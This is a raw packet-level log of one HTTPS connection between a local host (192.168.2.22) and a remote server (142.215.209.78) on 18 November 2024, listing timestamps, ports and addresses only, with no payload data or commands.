Nov 18, 2024 18:22:18.329389095 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.329401970 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.329459906 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.413949966 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.413969040 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.414016008 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.414017916 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.414068937 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.414082050 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.452912092 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.452929020 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.452991962 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.453005075 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.496999025 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.497024059 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.497071028 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.497087955 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.572287083 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.572305918 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.572345972 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.572364092 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.572382927 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.573057890 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.617393017 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.617404938 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.617425919 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.617455006 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.617471933 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.617593050 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.653944016 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.653954983 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.654010057 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.654033899 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.654090881 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.655497074 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.717809916 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.717823029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.717854977 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.717875004 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.717907906 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.775125027 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.775136948 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.775192976 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.775274038 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.775274038 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.839030981 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.839042902 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.839097977 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.839124918 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.857014894 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.857074022 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.857089043 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.857136011 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.860375881 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.933028936 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.933044910 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.933115005 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.933144093 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.959661961 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.959712029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.959749937 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.959779024 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.959816933 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.016087055 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.016102076 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.016165018 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.016176939 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.068243027 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.068295002 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.068319082 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.068335056 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.070240974 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.098095894 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.098104954 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.098146915 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.098153114 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.098191977 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.183159113 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.183173895 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.183233976 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.183269024 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.200074911 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.200083971 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.200136900 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.200164080 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.200212002 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.218261003 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.218269110 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.218322039 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.218333006 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.292534113 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.292584896 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.292658091 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.292679071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.292727947 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.321384907 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.321402073 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.321439028 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.321455002 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.321485996 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.342163086 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.342175961 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.342231989 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.342241049 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.412404060 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.412412882 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.412461042 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.412483931 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.441747904 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.441756964 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.441797018 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.441818953 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.441845894 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.444377899 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.462897062 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.462905884 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.462964058 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.462965012 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.463017941 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.497078896 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.497095108 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.497133970 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.497148037 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.497185946 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.562315941 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.562329054 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.562448978 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.562477112 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.583479881 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.583503962 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.583586931 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.583600998 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.617919922 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.617954016 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.618052006 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.618066072 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.653919935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.653933048 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.653959036 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.653975010 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.654005051 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.654021025 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.654047012 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.682492971 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.682507038 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.682544947 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.682554007 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.682594061 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.704806089 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.704816103 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.704986095 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.705013037 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.738023996 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.738034010 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.738090038 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.738117933 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.802356005 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.802366972 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.802412987 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.802529097 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.802556992 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.802596092 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.823596954 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.823609114 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.823636055 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.823662043 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.823683977 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.857830048 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.857839108 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.857867956 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.857892990 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.857919931 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.893017054 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.893027067 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.893079042 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.893109083 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.922528982 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.922543049 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.922630072 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.922653913 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.943859100 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.943875074 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.943917990 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.943954945 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.943978071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.944020987 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.978091002 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.978111029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.978164911 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:19.978190899 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:19.978214979 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.013401031 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.013421059 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.013483047 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.013498068 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.043874979 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.043926954 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.043947935 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.043958902 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.043997049 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.064533949 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.064546108 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.064614058 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.064624071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.098088980 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.098134995 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.098164082 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.098191023 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.098233938 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.133500099 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.133513927 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.133626938 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.133641958 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.187593937 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.187611103 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.187660933 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.187671900 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.188659906 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.188668966 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.188699961 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.188713074 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.188720942 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.188756943 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.189567089 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.189578056 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.189598083 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.189615011 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.189637899 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.198766947 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.220328093 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.220344067 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.220386028 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.220402956 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.220407963 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.308909893 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.308955908 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.309123993 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.309133053 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.309175968 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.309361935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.309377909 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.309406996 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.309415102 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.309458017 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.310363054 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.310374975 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.310393095 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.310426950 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.310446024 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.338677883 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.338695049 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.338778019 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.338788986 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.375211954 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.375272036 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.375276089 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.375294924 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.375324965 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.429372072 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.429385900 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.429488897 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.429514885 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.429702044 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.429709911 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.429749966 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.429760933 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.430577040 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.430613995 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.430627108 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.430638075 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.430676937 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.458662987 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.458674908 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.458740950 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.458761930 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.495254040 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.495347977 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.495377064 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550044060 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550072908 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550117016 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.550117016 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.550143003 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550299883 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550323009 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550343037 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550352097 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.550359964 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.550370932 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550417900 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.550661087 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550860882 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550880909 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.550913095 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.550920010 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.579189062 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.579215050 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.579262018 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.579272985 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.579322100 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.664273024 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.664283991 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.664362907 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.664391041 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.669924974 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.669941902 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.670006990 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.670022011 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.670300007 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.670309067 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.670352936 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.670363903 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.671164036 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.671196938 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.671210051 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.671225071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.671266079 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.672002077 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.698899031 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.698915958 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.699002981 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.699026108 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.737001896 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.737078905 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.737097025 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793675900 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793689966 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793732882 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.793749094 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793767929 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793776989 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793797016 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.793798923 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793817043 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793826103 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.793827057 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793838024 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793854952 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:20.793859959 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:20.793869972 CET	443	49173	142.215.209.78	192.168.2.22
